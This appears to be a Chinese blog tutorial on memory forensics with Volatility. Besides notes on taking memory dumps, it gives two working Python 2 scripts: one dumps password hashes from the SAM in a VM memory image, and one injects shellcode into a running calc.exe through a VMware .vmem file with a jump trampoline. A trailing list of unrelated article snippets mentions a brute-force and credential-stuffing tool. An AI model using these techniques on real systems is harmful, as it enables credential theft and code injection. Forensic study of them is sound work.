python自动攻击脚本

自动化攻击取证

1.Volatility——高级内存取证框架工具

网络被攻破后,需要考证是否发生过攻击事件,通常需要一个已感染主机的内存快照。可以利用volatility完成内核对象检查、进程内存检测和提取等任务,并提供取证分析能力。

下载地址volatility

1.1环境搭建与dump抓取

环境需要python2.7

1.1.2 Linux(Kali)

用shell切换到Volatility目录

1.1.3生成内存dump文件

Volatility分析的是内存dump文件,所以我们需要对疑似受到攻击的系统抓取内存dump.主要有3种方法来抓取内存dump。

  • 利用cuckoo沙箱生成内存dump的特性
  • 利用VMware生成内存dump的特性
  • 使用第三方软件抓取内存dump

1.1.4

1.1.5利用VMware

暂停虚拟机系统,然后在对应目录中找到*.vmem,例如:

1.1.6使用第三方软件抓取

针对于物理机,通常可以使用如下工具来抓取内存dump:

KnTTools
F-Response
Mandiant Memoryze
HBGary FastDump
MoonSols Windows Memory Toolkit
AccessData FTK Imager
EnCase/WinEn
Belkasoft Live RAM Capturer
ATC-NY Windows Memory Reader
Winpmem
Win32dd/Win64dd
DumpIt

1.2 工具使用

1.2.1 行为:抓取口令哈希值

import sys
import struct

memory_file       = "WinXPSP2.vmem"

sys.path.append("/Downloads/volatility-2.3.1")

import volatility.conf as conf
import volatility.registry as registry

registry.PluginImporter()
config = conf.ConfObject()

import volatility.commands as commands
import volatility.addrspace as addrspace

config.parse_options()
config.PROFILE  = "WinXPSP2x86"
config.LOCATION = "file://%s" % memory_file

registry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)

from volatility.plugins.registry.registryapi import RegistryApi
from volatility.plugins.registry.lsadump import HashDump

registry = RegistryApi(config)
registry.populate_offsets()

sam_offset = None
sys_offset = None

for offset in registry.all_offsets:

    if registry.all_offsets[offset].endswith("\\SAM"):
        sam_offset = offset
        print "[*] SAM: 0x%08x" % offset

    if registry.all_offsets[offset].endswith("\\system"):
        sys_offset = offset
        print "[*] System: 0x%08x" % offset

    if sam_offset is not None and sys_offset is not None:
        config.sys_offset = sys_offset
        config.sam_offset = sam_offset

        hashdump = HashDump(config)

        for hash in hashdump.calculate():
            print hash

        break

if sam_offset is None or sys_offset is None:
    print "[*] Failed to find the system or SAM offsets."

1.2.2 行为:直接代码注入

import sys
import struct

equals_button = 0x01005D51

memory_file       = "/Users/justin/Documents/Virtual Machines.localized/Windows Server 2003 Standard Edition.vmwarevm/564d9400-1cb2-63d6-722b-4ebe61759abd.vmem"
slack_space       = None
trampoline_offset = None

# read in our shellcode
sc_fd = open("cmeasure.bin","rb")
sc    = sc_fd.read()
sc_fd.close()

sys.path.append("/Downloads/volatility-2.3.1")

import volatility.conf as conf
import volatility.registry as registry

registry.PluginImporter()
config = conf.ConfObject()

import volatility.commands as commands
import volatility.addrspace as addrspace

registry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)

config.parse_options()
config.PROFILE  = "Win2003SP2x86"
config.LOCATION = "file://%s" % memory_file

import volatility.plugins.taskmods as taskmods

p = taskmods.PSList(config)

for process in p.calculate():
    if str(process.ImageFileName) == "calc.exe":

        print "[*] Found calc.exe with PID %d" % process.UniqueProcessId
        print "[*] Hunting for physical offsets...please wait."

        address_space = process.get_process_address_space()
        pages         = address_space.get_available_pages()

        for page in pages:
            physical = address_space.vtop(page[0])

            if physical is not None:    

                if slack_space is None:

                    fd = open(memory_file,"r+")
                    fd.seek(physical)
                    buf = fd.read(page[1])

                    try:
                        offset = buf.index("\x00" * len(sc))
                        slack_space  = page[0] + offset

                        print "[*] Found good shellcode location!"
                        print "[*] Virtual address: 0x%08x" % slack_space
                        print "[*] Physical address: 0x%08x" % (physical + offset)
                        print "[*] Injecting shellcode."

                        fd.seek(physical + offset)
                        fd.write(sc)
                        fd.flush()

                        # create our trampoline
                        tramp = "\xbb%s" % struct.pack("<L", page[0] + offset)
                        tramp += "\xff\xe3"

                        if trampoline_offset is not None:
                            break

                    except:
                        pass

                    fd.close()

                # check for our target code location
                if page[0] <= equals_button and equals_button < ((page[0] + page[1])-7):

                    # calculate virtual offset
                    v_offset = equals_button - page[0]

                    # now calculate physical offset
                    trampoline_offset = physical + v_offset

                    print "[*] Found our trampoline target at: 0x%08x" % (trampoline_offset)

                    if slack_space is not None:
                        break

        print "[*] Writing trampoline..."

        fd = open(memory_file, "r+")
        fd.seek(trampoline_offset)
        fd.write(tramp)
        fd.close()

        print "[*] Done injecting code."

原文地址:https://www.cnblogs.com/ikari/p/9098021.html

时间: 2024-12-26 08:38:19

python自动攻击脚本的相关文章

Python自动备份脚本

目的:为了解决修改关键或者基础数据导致项目出现问题,所以,备份是很有必要的,并且解决备份文件过多的问题. 前提:备份的本机必须安装Mysql,否则Mysql命令报错. 使用:linux一般自带python,执行脚本:python sql_bak.py 即可. (PS: 如果不小心python后面没输入内容,可输入exit()即可推荐python命令行) # -*- coding: utf-8 -*- # Import required python libraries # pancx 2019-

Python自动更新脚本

本脚本主要针对python2.6升级至python2.10,并且解决了升级后不能使用yum的问题.添加了ipython功能 ##########################!/bin/bashpath="/home/tools"if [ ! -d $path ];thenmkdir $pathelserm -rf $path && mkdir $pathfi cd $path yum -y install automake gcc gcc-c++ readline-

python 一个简单防攻击脚本

学习python中,写了一个简单预防攻击脚本,感觉不好,mark下待留以后改进. #!/bin/env python #-*- coding:utf-8 -*- import sqlite3 import commands import time import logging log_file='/var/log/ddoskill.log' logging.basicConfig(level=logging.INFO,format='%(asctime)s %(filename)s[line:%

python第三方库自动安装脚本

#python第三方库自动安装脚本,需要在cmd中运行此脚本#BatchInstall.pyimport oslibs = {"numpy","matplotlib","pillow","sklearn","requests",\ "jieba","beautifulsoup4","wheel","networkx","

htpwdScan — 一个简单的HTTP暴力破解、撞库攻击脚本

李姐姐之前跟我们分享了子域名枚举工具subDomainBrute<subDomainsBrute — 改进渗透测试时暴力枚举子域名的python脚本>,这回带给我们htpwdScan htpwdScan 是一个简单的HTTP暴力破解.撞库攻击脚本: 1. 支持批量校验并导入HTTP代理,低频撞库可以成功攻击大部分网站,绕过大部分防御策略和waf2. 支持直接导入互联网上泄露的社工库,发起撞库攻击3. 支持导入超大字典4. 其他细微功能:随机X-Forwarded-For.随机SessionID

python编写shell脚本详细讲解

今天需要编写一个shell脚本实现App自动生成的功能,需要处理HTTP REST请求,解析JSON,处理文件,执行命令等,本来想用shell搞定,但感觉比较麻烦,还是用python吧,虽然以前用Python都是在树莓派上玩的,多尝试一种方法总是好的. 虽然我受linux的影响甚深,但是对于*nix 里随处可见的sh脚本却是讨厌之极.为什么讨厌呢?首先是因为sh脚本那莫名其妙的语法,感觉就像随写随扔的程序,完全没有任何美感可言.其次是sh脚本的处理能力还是比较弱的,在文本处理.XML处理还有网络

一次自动化发现攻击脚本且调用前端页面快速下发配置项目的随笔

一次自动化发现攻击脚本且调用前端页面快速下发配置项目的个人笔记,服务器脚本部分主要是根据syslog来发现攻击特征然后格式化输出到网页,做各种判断后通知且通过php手动(自动)下发配置,都是一些判断循环啥的,就不贴了. 这里主要是记一些制作前端html网页和后端php页面交互的一些有用的代码 html部分: <!DOCTYPE html> 声明是html5网页 <html></html>   html格式 <body></body> 可视化主体

python自动安装mysql5.7

python自动安装mysql5.7 python版本:python2.6 centos版本:centos6.9 mysql版本:mysql5.7.19 安装目录路径和数据目录路径都是固定,当然也可以自己修改 这个脚本的原理是,通过createmycnf.sh的shell脚本生成my.cnf,buffer pool大小等在shell脚本里已经计算好,然后installmysql.py修改生成好的my.cnf里的端口等变量 并根据my.cnf来初始化mysql,初始化完毕之后启动mysql服务,并

vim自动添加脚本头

当做运维的时候,难免会写一些脚本.有没有感到Vim编辑文件的时候,一定要写脚本头,很复杂很繁琐,每写一个脚本就要写一次. 太麻烦了.有木有!!(可能是我太懒了吧) 下面咱定义一下,当写脚本的时候,自动添加脚本头,咱直接去写脚本代码就好了. 编辑当前用户vim配置文件 #vim ~/.vimrc 或者定义全局也行 #vim /etc/vimrc 在最下方添加如下代码: function HappyPython() call setline(1, "#!/usr/bin/env python&quo